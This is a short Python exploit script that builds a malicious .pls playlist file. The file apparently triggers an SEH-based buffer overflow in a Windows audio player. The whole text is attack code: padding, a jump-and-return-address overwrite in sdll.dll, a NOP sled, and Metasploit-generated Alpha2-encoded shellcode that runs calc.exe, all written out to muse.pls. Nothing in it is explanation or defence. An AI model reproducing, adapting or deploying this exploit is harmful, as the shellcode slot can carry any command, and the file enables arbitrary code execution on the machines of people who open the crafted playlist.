payload = "\x41" * 1376
payload += "\xeb\x06\x90\x90"
payload += "\xAA\x0c\x02\x10" # 10020CAA sdll.dll universal
payload += "\x90" * 16
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com 
payload += ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x48\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x68"
"\x58\x30\x41\x31\x50\x42\x41\x6b\x41\x41\x78\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x58\x69\x49\x6c\x49"
"\x78\x71\x54\x55\x50\x37\x70\x35\x50\x6c\x4b\x53\x75\x55\x6c\x6e"
"\x6b\x53\x4c\x74\x45\x62\x58\x56\x61\x4a\x4f\x4c\x4b\x30\x4f\x42"
"\x38\x6e\x6b\x73\x6f\x67\x50\x36\x61\x48\x6b\x70\x49\x6c\x4b\x66"
"\x54\x4e\x6b\x64\x41\x38\x6e\x74\x71\x49\x50\x7a\x39\x6e\x4c\x4e"
"\x64\x6b\x70\x52\x54\x44\x47\x4f\x31\x6b\x7a\x56\x6d\x46\x61\x5a"
"\x62\x5a\x4b\x78\x74\x67\x4b\x70\x54\x76\x44\x77\x74\x42\x55\x78"
"\x65\x6e\x6b\x53\x6f\x36\x44\x37\x71\x58\x6b\x30\x66\x4e\x6b\x44"
"\x4c\x62\x6b\x4e\x6b\x43\x6f\x57\x6c\x57\x71\x7a\x4b\x6c\x4b\x75"
"\x4c\x6e\x6b\x36\x61\x38\x6b\x6e\x69\x71\x4c\x44\x64\x75\x54\x79"
"\x53\x55\x61\x69\x50\x31\x74\x6e\x6b\x67\x30\x64\x70\x4f\x75\x59"
"\x50\x43\x48\x56\x6c\x6e\x6b\x41\x50\x76\x6c\x6c\x4b\x72\x50\x45"
"\x4c\x6c\x6d\x6e\x6b\x71\x78\x77\x78\x48\x6b\x66\x69\x4e\x6b\x6f"
"\x70\x4c\x70\x47\x70\x33\x30\x53\x30\x4c\x4b\x75\x38\x65\x6c\x43"
"\x6f\x76\x51\x78\x76\x75\x30\x50\x56\x4b\x39\x4b\x48\x6d\x53\x6f"
"\x30\x71\x6b\x76\x30\x35\x38\x78\x70\x4c\x4a\x75\x54\x63\x6f\x33"
"\x58\x4c\x58\x59\x6e\x6d\x5a\x34\x4e\x56\x37\x6b\x4f\x38\x67\x55"
"\x33\x45\x31\x30\x6c\x72\x43\x76\x4e\x53\x55\x53\x48\x70\x65\x37"
"\x70\x68")
payload += "\x90" * 642
 
try:
    print "[+] Creating exploit file.."
    exploit = open('muse.pls','w');
    exploit.write(payload);
    exploit.close();
    print "[+] Writing", len(payload), "bytes to muse.pls"
    print "[+] Exploit file created!"
except:
    print "[-] Error: You do not have correct permissions.."